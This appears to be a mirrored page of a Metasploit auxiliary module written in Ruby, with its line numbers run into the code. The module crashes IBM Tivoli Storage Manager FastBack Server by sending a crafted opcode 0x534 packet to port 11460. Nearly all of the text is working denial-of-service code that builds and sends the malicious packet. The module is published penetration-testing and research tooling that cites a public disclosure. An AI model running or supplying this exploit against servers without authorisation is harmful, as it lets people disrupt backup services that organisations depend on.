Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/misc/ibm_tsm_dos.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info={})10super(update_info(info,11'Name' => "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service",12'Description' => %q{13This module exploits a denial of service condition present in IBM Tivoli Storage Manager14FastBack Server when dealing with packets triggering the opcode 0x534 handler.15},16'License' => MSF_LICENSE,17'Author' =>18[19'Gianni Gnesa', # Public disclosure/Proof of Concept20'William Webb <william_webb[at]rapid7.com>', # Metasploit21],22'References' =>23[24['EDB', '38979'],25['OSVDB', '132307']26],27'DisclosureDate' => '2015-12-15',28))2930register_options(31[32Opt::RPORT(11460)33])34end3536def tv_pkt(opcode, p1="", p2="", p3="")37buf = Rex::Text.rand_text_alpha(0x0C)38buf += [opcode].pack("V")39buf += [0x00].pack("V")40buf += [p1.length].pack("V")41buf += [p1.length].pack("V")42buf += [p2.length].pack("V")43buf += [p1.length + p2.length].pack("V")44buf += [p3.length].pack("V")4546buf += Rex::Text.rand_text_alpha(0x08)4748buf += p149buf += p250buf += p35152pkt = [buf.length].pack("N")53pkt << buf5455return pkt56end5758def run59target_opcode = 0x53460connect61print_status("Connected to: #{rhost} port: #{rport}")62print_status("Sending malicious packet")6364p = tv_pkt(target_opcode,65"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % [Rex::Text.rand_text_alpha(0x200),0,0,0,0],66Rex::Text.rand_text_alpha(0x60),67Rex::Text.rand_text_alpha(0x60)68)6970sock.put(p)71print_status("Packet sent!")72rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => ex73print_error("Exploit failed: #{ex.class} #{ex.message}")74elog(ex)75ensure76disconnect77end78end798081